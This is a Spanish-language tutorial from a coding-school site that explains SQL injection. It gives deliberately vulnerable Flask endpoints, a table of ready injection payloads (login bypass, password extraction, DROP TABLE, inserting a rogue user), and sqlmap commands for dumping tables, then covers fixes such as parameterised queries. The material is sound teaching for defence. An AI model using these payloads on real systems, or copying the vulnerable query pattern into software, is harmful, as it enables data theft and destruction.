A tu propio ritmo

Explora nuestra extensa colección de cursos diseñados para ayudarte a dominar varios temas y habilidades. Ya seas un principiante o un aprendiz avanzado, aquí hay algo para todos.

Bootcamp

Aprende en vivo

Únete a nosotros en nuestros talleres gratuitos, webinars y otros eventos para aprender más sobre nuestros programas y comenzar tu camino para convertirte en desarrollador.

Próximos eventos en vivo

Catálogo de contenidos

Para los geeks autodidactas, este es nuestro extenso catálogo de contenido con todos los materiales y tutoriales que hemos desarrollado hasta el día de hoy.

Tiene sentido comenzar a aprender leyendo y viendo videos sobre los fundamentos y cómo funcionan las cosas.

Buscar en lecciones


IngresarEmpezar
← Regresar a lecciones
Editar en Github

Entendiendo la Inyección SQL: La Segunda Vulnerabilidad Más Crítica Según OWASP

¿Qué es la Inyección SQL?
Ejemplo Paso a Paso Usando Python Flask

✋ Este artículo asume que tienes un conocimiento básico sobre crear un endpoint de API usando HTTP y pasar variables ya sea como query strings o valores de formulario. También asumimos un entendimiento muy básico de SQL y cómo funciona.

¿Qué es la Inyección SQL?

La Inyección SQL es una vulnerabilidad web que permite a un atacante interferir con las consultas que un sitio web realiza a su base de datos. Puede habilitar el acceso no autorizado a datos, incluidos aquellos de carácter sensible.

¿Cuándo Ocurre y Por Qué?

La Inyección SQL ocurre cuando una aplicación no valida correctamente las entradas del usuario antes de utilizarlas en consultas SQL. Cuando la entrada del usuario se incorpora directamente en una consulta, los actores maliciosos pueden inyectar código SQL para manipular la consulta, accediendo o modificando datos no autorizados. La razón principal detrás de las vulnerabilidades de inyección SQL es la validación inadecuada o el filtrado de las entradas del usuario, lo que permite la ejecución de comandos SQL maliciosos.

Inyección SQL

Diferencia Entre Inyección SQL Clásica y Ciega

  • Inyección SQL Clásica: Se proporciona retroalimentación directa por parte de la base de datos, lo que ayuda a los atacantes a explotar la vulnerabilidad más rápido.

  • Inyección SQL Ciega: No se muestran mensajes de error visibles, lo que hace más difícil su explotación. Los atacantes se basan en respuestas de verdadero/falso para inferir si la inyección fue exitosa.

Ejemplo Paso a Paso Usando Python Flask

A continuación, se presentan ejemplos de vulnerabilidades de inyección SQL clásica y ciega usando Python con Flask.

1. Inyección SQL Clásica en Flask

Aquí está el código de ejemplo para una API en Flask que contiene una vulnerabilidad de inyección SQL:

1from flask import Flask, request 2import sqlite3 3 4# Creamos un nuevo sitio web 5app = Flask(__name__) 6 7# Especificamos que el sitio web tendrá una URL en el directorio /classic, por ejemplo: misitio.com/classic 8@app.route('/classic') 9def classic_sql_injection(): 10 # la variable "id" se recibe de la URL, por ejemplo: misitio.com/classic?id=1 11 user_id = request.args.get('id') 12 13 conn = sqlite3.connect('example.db') 14 cur = conn.cursor() 15 # Aquí está la vulnerabilidad, la variable user_id podría contener cualquier valor, incluidas instrucciones SQL. 16 query = f"SELECT * FROM users WHERE id = {user_id}" # Código vulnerable 17 cur.execute(query) 18 result = cur.fetchone() 19 conn.close() 20 21 if result: 22 return f"Usuario encontrado: {result}" 23 return "Usuario no encontrado" 24 25if __name__ == "__main__": 26 app.run(debug=True)

Explotando la Inyección SQL Clásica

Un atacante puede manipular el parámetro id con el siguiente valor:

http://tu-sitio-web.com/classic?id=1 OR 1=1

Esto devolverá todos los usuarios porque la consulta se convierte en:

1SELECT * FROM users WHERE id = 1 OR 1=1;

2. Inyección SQL Ciega en Flask

1@app.route('/blind') 2def blind_sql_injection(): 3 user_id = request.args.get('id') 4 conn = sqlite3.connect('example.db') 5 cur = conn.cursor() 6 query = f"SELECT * FROM users WHERE id = {user_id} AND name='John'" # Código vulnerable 7 cur.execute(query) 8 result = cur.fetchone() 9 conn.close() 10 11 if result: 12 return "El usuario existe" 13 return "El usuario no existe"

Explotando la Inyección SQL Ciega

La inyección SQL ciega funciona sin salida directa. Por ejemplo, si un atacante quiere verificar si un usuario existe:

http://localhost:5000/blind?id=1 AND 1=1

Esto no revelará los datos directamente, pero permite inferir si el resultado es "El usuario existe" o "El usuario no existe".

Ejemplos de Categorías de Inyección SQL

Las siguientes categorías pueden ser ciegas o clásicas:

1. Inyección Basada en Errores

Un atacante fuerza a la base de datos a generar un error que revela detalles sobre el esquema de la base de datos.

Inyección Basada en Errores

Ejemplo:

http://ejemplo.com/page?id=1' AND 1=CONVERT(int, 'test')

El mensaje de error de la base de datos podría filtrar información valiosa sobre el tipo de datos o la estructura.

2. Inyección Basada en Unión

Las consultas de unión permiten a los atacantes combinar los resultados de dos consultas diferentes.

Inyección Basada en Unión

Ejemplo:

http://ejemplo.com/page?id=1 UNION SELECT username, password FROM users

Esto recupera el contenido de la tabla users.

3. Inyección Ciega

No se muestran mensajes de error, pero un atacante puede inferir el resultado de las consultas a través de condiciones verdadero/falso.

Inyección Ciega

Ejemplo:

http://ejemplo.com/page?id=1 AND 1=1 -- Verdadero, la página se carga normalmente
http://ejemplo.com/page?id=1 AND 1=2 -- Falso, comportamiento diferente

4. Inyección Ciega Basada en Tiempo

El atacante puede explotar retrasos de tiempo para inferir el éxito de sus consultas.

Ejemplo:

http://ejemplo.com/page?id=1 AND IF(1=1, SLEEP(5), 0)

Puedes agregar una sección en el artículo que aborde la inyección SQL a través de cookies y localStorage. Aquí te mostramos cómo podrías incorporarla en el contenido existente:

Inyección SQL a Través de Cookies y LocalStorage

Además de inyectar SQL malicioso a través de cadenas de consulta y valores de formulario, los atacantes también pueden explotar mecanismos de almacenamiento de datos inseguros como cookies y localStorage. Estos mecanismos a menudo son utilizados por aplicaciones web para almacenar información relacionada con la sesión o preferencias del usuario, pero si los datos almacenados se utilizan de manera insegura en consultas SQL, puede llevar a vulnerabilidades de inyección.

Ejemplo de Inyección SQL Vía Cookies

Supongamos que tienes una aplicación web que almacena el ID del usuario en una cookie y usa este ID para recuperar datos de la base de datos. Aquí hay un ejemplo vulnerable en Flask:

1from flask import Flask, request 2import sqlite3 3 4app = Flask(__name__) 5 6@app.route('/cookie') 7def cookie_sql_injection(): 8 user_id = request.cookies.get('user_id') # Obtener ID de usuario de la cookie 9 conn = sqlite3.connect('example.db') 10 cur = conn.cursor() 11 12 query = f"SELECT * FROM users WHERE id = {user_id}" # Código vulnerable 13 cur.execute(query) 14 result = cur.fetchone() 15 conn.close() 16 17 if result: 18 return f"Usuario encontrado: {result}" 19 return "Usuario no encontrado" 20 21if __name__ == "__main__": 22 app.run(debug=True)

Explotando la vulnerabilidad:

user_id=1 OR 1=1;

Esto modificará la consulta a:

1SELECT * FROM users WHERE id = 1 OR 1=1;

Como resultado, todos los usuarios serán recuperados de la base de datos y se podrían filtrar datos sensibles.

Ejemplo de Inyección SQL Vía LocalStorage

LocalStorage es un mecanismo de almacenamiento basado en el navegador que permite a las aplicaciones web almacenar datos en el lado del cliente. Si una aplicación recupera datos de localStorage y los utiliza directamente en consultas SQL sin validación, esto puede generar vulnerabilidades de inyección SQL.

En una aplicación JavaScript frontend, el user_id podría recuperarse de localStorage y pasarse como parte de una solicitud HTTP a la API de Flask:

1// Simulación de código vulnerable en el frontend 2let 3 4 userId = localStorage.getItem("user_id"); 5fetch(`/localstorage?user_id=${userId}`) 6 .then(response => response.text()) 7 .then(data => console.log(data));

Los atacantes pueden fácilmente manipular los datos de localStorage a través de las herramientas de desarrollador del navegador:

1localStorage.setItem("user_id", "1 OR 1=1");

Esto permitiría un ataque de inyección SQL similar al ejemplo de las cookies.

Crear una Lista de Payloads de Inyección SQL

Los payloads de inyección SQL son entradas específicas creadas por atacantes para manipular consultas SQL en aplicaciones vulnerables. Estos payloads explotan debilidades en el manejo de la entrada del usuario y pueden resultar en la exfiltración de datos, manipulación de la base de datos o acceso no autorizado. A continuación, se muestran algunos tipos comunes de payloads de inyección SQL, categorizados por su propósito o técnica:

Tipo de PayloadPayload de Inyección SQLDescripción
Bypass de Autenticación' OR 1=1 --Omite el inicio de sesión haciendo que la condición sea siempre verdadera.
Extraer Datos' UNION SELECT username, password FROM users --Recupera nombres de usuario y contraseñas de la tabla users utilizando la palabra clave UNION.
Inyección Basada en Errores1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x) a) -- Fuerza un error para revelar el nombre de la base de datos y detalles de su estructura.
Inyección Basada en Unión' UNION SELECT null, null, database(), null --Devuelve el nombre actual de la base de datos utilizando una consulta UNION.
Inyección Ciega Basada en Tiempo1' AND IF(1=1, SLEEP(5), 0) --Retrasa la respuesta 5 segundos si la condición es verdadera (útil para inyección SQL ciega).
Inyección Ciega Basada en Booleanos1' AND 1=1 -- Esto evalúa como verdadero y la página se carga normalmente. Utilizado para deducir el comportamiento de la base de datos.
Extraer Nombres de Columnas' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' --Recupera todos los nombres de las columnas de la tabla users.
Inyección con Comentarios1'; DROP TABLE users -- Elimina la tabla users terminando la consulta y agregando una instrucción SQL maliciosa.
Consultas Apiladas (MySQL)1'; INSERT INTO users (username, password) VALUES ('hacker', '12345') --Ejecuta dos consultas: una regular y una maliciosa (insertando un nuevo usuario).
Extraer Versión de MySQL' UNION SELECT @@version, null, null --Recupera la versión de MySQL usando @@version.
Verificar Usuario de la Base de Datos' UNION SELECT user(), null, null --Devuelve el usuario actual de la base de datos.
Extraer Todos los Nombres de Bases de Datos' UNION SELECT schema_name FROM information_schema.schemata --Recupera los nombres de todas las bases de datos en el servidor.
Recuperar Hashes de Contraseñas' UNION SELECT username, password FROM mysql.user --Recupera nombres de usuario y hashes de contraseñas de la tabla user de MySQL.
Inyección Ciega (Verdadero)1' AND 1=1 -- Inyección ciega basada en booleanos. La consulta siempre devuelve verdadero.
Inyección Ciega (Falso)1' AND 1=2 -- Inyección ciega basada en booleanos. La consulta devolverá falso, útil para deducir la estructura de la base de datos.

Notas:

  • Las inyecciones basadas en unión a menudo combinan la consulta original con una segunda consulta para extraer datos.
  • Los payloads basados en errores buscan provocar un error que revele la estructura o el contenido de la base de datos.
  • Los payloads basados en tiempo introducen retrasos para inferir condiciones verdadero/falso en ataques de inyección SQL ciega.
  • Las consultas apiladas pueden ejecutar múltiples comandos SQL en una sola solicitud, típicamente utilizadas cuando el backend permite múltiples comandos SQL en una consulta.

Al usar estos payloads y entender cómo funciona cada uno, los atacantes pueden manipular consultas de bases de datos de diversas formas, dependiendo de la vulnerabilidad de la aplicación y la base de datos subyacente. Sin embargo, para prevenir estos ataques, todas las entradas deben manejarse de manera segura usando sentencias preparadas y validación adecuada de entradas.

Pruebas Automáticas de Inyección SQL

Puedes realizar pruebas automáticas de inyección SQL utilizando diversas herramientas diseñadas para identificar y explotar vulnerabilidades de inyección SQL en aplicaciones web. Estas herramientas ayudan a automatizar el proceso de prueba, detección e incluso explotación de posibles fallos de inyección SQL.

Las pruebas automáticas de inyección SQL son una manera poderosa de identificar rápidamente vulnerabilidades en aplicaciones web. Herramientas como SQLMap, OWASP ZAP, Burp Suite y otras pueden escanear eficientemente en busca de fallos de inyección SQL y ayudar a garantizar que tus aplicaciones web sean seguras. Sin embargo, aunque las herramientas automatizadas son altamente efectivas, es esencial complementarlas con pruebas manuales y prácticas de codificación segura para garantizar una cobertura completa.

Aquí hay una visión general de cómo realizar pruebas automáticas de inyección SQL y algunas herramientas comúnmente utilizadas:

1. SQLMap

SQLMap es una herramienta de código abierto altamente automatizada que prueba y explota vulnerabilidades de inyección SQL. Soporta una amplia gama de bases de datos (MySQL, PostgreSQL, Oracle, SQL Server, etc.) y puede realizar técnicas de inyección complejas como inyecciones ciegas basadas en tiempo, inyecciones basadas en unión, y más.

  • Detección automática de vulnerabilidades de inyección SQL.
  • Explota diferentes tipos de inyecciones, incluyendo inyección basada en booleanos, basada en errores, ciega basada en tiempo y consultas UNION.
  • Puede recuperar información de la base de datos, volcar tablas de la base de datos o escalar privilegios.

Comando simple para escanear una URL en busca de inyección SQL:

1sqlmap -u "http://ejemplo.com/index.php?id=1"

SQLMap probará automáticamente y explotará posibles inyecciones SQL.

No necesitas especificar explícitamente los nombres de las variables como id para que SQLMap funcione. SQLMap está diseñado para identificar y probar automáticamente todos los parámetros de la cadena de consulta (como id=1 en este caso) en busca de vulnerabilidades de inyección SQL.

Sin embargo, si deseas que SQLMap se concentre en un parámetro específico (como id) e ignore otros, puedes usar la opción -p para especificar explícitamente el parámetro que deseas probar. Por ejemplo:

1sqlmap -u "http://ejemplo.com/index.php?id=1&name=John" -p id

En este caso, SQLMap solo probará el parámetro id en busca de inyección SQL, ignorando el parámetro name. Si no usas la opción -p, SQLMap probará todos los parámetros (id y name).

2. OWASP ZAP (Zed Attack Proxy)

OWASP ZAP es un escáner de seguridad de aplicaciones web que incluye pruebas de inyección SQL como parte de su escaneo automatizado. Es ampliamente utilizado para probar aplicaciones web y es fácil de usar para principiantes.

  • Escaneos automatizados para una variedad de vulnerabilidades web, incluida la inyección SQL.
  • Pruebas basadas en proxy con la capacidad de capturar y manipular solicitudes HTTP.
  • Proporciona informes detallados con vulnerabilidades identificadas y sugerencias para la remediación.

ZAP se puede ejecutar como un proxy donde navegas por tu sitio web, y detectará vulnerabilidades en segundo plano. También puedes lanzar un escaneo dirigido a URL específicas.

3. Burp Suite

  • Descripción: Burp Suite es una herramienta completa para pruebas de vulnerabilidades web que incluye características automatizadas de prueba de inyección SQL, especialmente en su versión profesional.
  • Características:
    • Escaneo automatizado de vulnerabilidades, incluida la detección de inyección SQL.
    • Herramientas manuales y automatizadas para analizar y explotar vulnerabilidades web.
    • Intercept

a solicitudes HTTP y modifica entradas para probar vulnerabilidades de inyección.

  • Uso:
    • Con el escáner de Burp Suite, puedes iniciar pruebas automatizadas de inyección SQL configurando una URL de destino y dejando que la herramienta realice su análisis.

4. W3AF (Web Application Attack and Audit Framework)

  • Descripción: W3AF es otra herramienta de código abierto utilizada para auditar aplicaciones web. Puede detectar automáticamente vulnerabilidades de inyección SQL y otras vulnerabilidades web comunes.
  • Características:
    • Soporte para detección y explotación de inyección SQL.
    • Amplia cobertura de vulnerabilidades web, incluidas Cross-Site Scripting (XSS), CSRF, y más.
    • Se puede ejecutar desde la línea de comandos o utilizando su interfaz gráfica.
  • Uso:
    • Similar a SQLMap, puedes ejecutar W3AF contra una URL de destino, y probará automáticamente en busca de inyecciones SQL.

5. Acunetix Web Vulnerability Scanner

  • Descripción: Acunetix es un escáner de vulnerabilidades web comercial que realiza pruebas automáticas de inyección SQL como parte de su evaluación general de seguridad.
  • Características:
    • Detecta y reporta inyección SQL, XSS y otras vulnerabilidades.
    • Proporciona informes detallados con consejos de remediación.
    • Ofrece integración con pipelines CI/CD para pruebas continuas.
  • Uso:
    • Acunetix se puede ejecutar contra cualquier aplicación web, y probará todos los formularios, parámetros y cookies en busca de vulnerabilidades de inyección SQL.

Ejemplo de Prueba Automática de Inyección SQL con SQLMap

Aquí tienes un ejemplo de cómo ejecutar SQLMap para una prueba automática de inyección SQL:

  1. Ejecuta SQLMap contra una URL de destino:

    1sqlmap -u "http://ejemplo.com/index.php?id=1"

    Este comando comenzará a probar el parámetro URL id=1 en busca de vulnerabilidades de inyección SQL.

  2. Si la URL es vulnerable, SQLMap detectará la inyección y mostrará detalles sobre el tipo de inyección.

  3. SQLMap también se puede utilizar para extraer información de la base de datos:

    1sqlmap -u "http://ejemplo.com/index.php?id=1" --dbs

    Este comando recuperará una lista de bases de datos del objetivo.

  4. Para volcar el contenido de una tabla específica, puedes ejecutar:

    1sqlmap -u "http://ejemplo.com/index.php?id=1" -D nombre_base_de_datos -T nombre_tabla --dump

Beneficios de las Pruebas Automáticas de Inyección SQL

  • Eficiencia: Estas herramientas automatizan lo que de otro modo sería un proceso que requiere mucho tiempo, probando rápidamente múltiples payloads y patrones de respuesta.
  • Cobertura Completa: Las herramientas automatizadas a menudo prueban una variedad de tipos de inyección SQL (ciega, unión, basada en errores, etc.), brindando una cobertura amplia en poco tiempo.
  • Informes Detallados: Estas herramientas suelen proporcionar informes detallados, lo que facilita la comprensión y la corrección de las vulnerabilidades.
  • Integración Continua: Algunas herramientas como Acunetix se pueden integrar en pipelines CI/CD, lo que permite pruebas continuas y automatizadas de vulnerabilidades durante el desarrollo.

Limitaciones de las Pruebas Automáticas

  • Falsos Positivos/Negativos: Las herramientas automatizadas a veces pueden pasar por alto ciertas vulnerabilidades o informar falsos positivos. Puede ser necesario realizar pruebas manuales para verificar los resultados.
  • Limitaciones de las Herramientas: Aunque herramientas como SQLMap son poderosas, pueden no detectar inyecciones SQL complejas en entornos SQL muy ofuscados o no estándar.
  • Requiere Configuración: Algunas herramientas requieren ajustes, especialmente en aplicaciones web complejas, para evitar pasar por alto vulnerabilidades.

Pasos para Corregir la Inyección SQL

  1. Usar Sentencias Preparadas (también conocidas como consultas parametrizadas): En lugar de insertar directamente la entrada del usuario en las consultas SQL, usa sentencias preparadas para vincular de forma segura los parámetros a las consultas.

    Ejemplo:

    1query = "SELECT * FROM users WHERE id = ?" 2cur.execute(query, (user_id,))
  2. Validación de Entrada: Valida el tipo, longitud y formato de las entradas del usuario antes de procesarlas en consultas. Rechaza cualquier entrada que no cumpla con los patrones esperados.

  3. ORMs (Mapeo Objeto-Relacional): Usar ORMs como SQLAlchemy en Python abstrae las consultas SQL en bruto y previene la inyección por diseño.

  4. Procedimientos Almacenados: Usa procedimientos almacenados en lugar de consultas SQL dinámicas para interacciones críticas con la base de datos.

  5. Manejo de Errores: Evita que los errores de la base de datos se muestren a los usuarios, ya que pueden filtrar información valiosa sobre el sistema.

¿Qué Pueden Hacer los Hackers con la Inyección SQL?

  • Exfiltración de Datos: Los hackers pueden acceder a información sensible almacenada en la base de datos, como nombres de usuario, contraseñas, datos de tarjetas de crédito, etc.
  • Manipulación de la Base de Datos: Los atacantes pueden alterar o eliminar datos, o insertar entradas maliciosas.
  • Bypass de Autenticación: Manipulando consultas de inicio de sesión, los atacantes pueden evitar los sistemas de autenticación y obtener acceso no autorizado.
  • Acceso a Sistemas Enteros: La inyección SQL avanzada puede llevar al control total del servidor o la infraestructura subyacente.

Mejores Prácticas para Prevenir la Inyección SQL

  1. Usar Consultas Parametrizadas: Evita incluir entradas de usuario sin procesar en consultas SQL.
  2. Validar las Entradas de Usuario: Solo permite entradas que coincidan con los formatos esperados.
  3. Escapar Caracteres Especiales: Escapa caracteres como ', ", y ; para evitar la manipulación de consultas.
  4. Usar Bibliotecas ORM: Un ORM abstrae las consultas SQL en bruto, lo que hace menos probable los ataques de inyección SQL.
  5. Principio de Mínimos Privilegios: Asegúrate de que los usuarios de la base de datos solo tengan los privilegios mínimos necesarios.
  6. Auditorías de Seguridad Regulares: Realiza revisiones de código regulares y usa herramientas automatizadas para escanear en busca de vulnerabilidades de inyección SQL.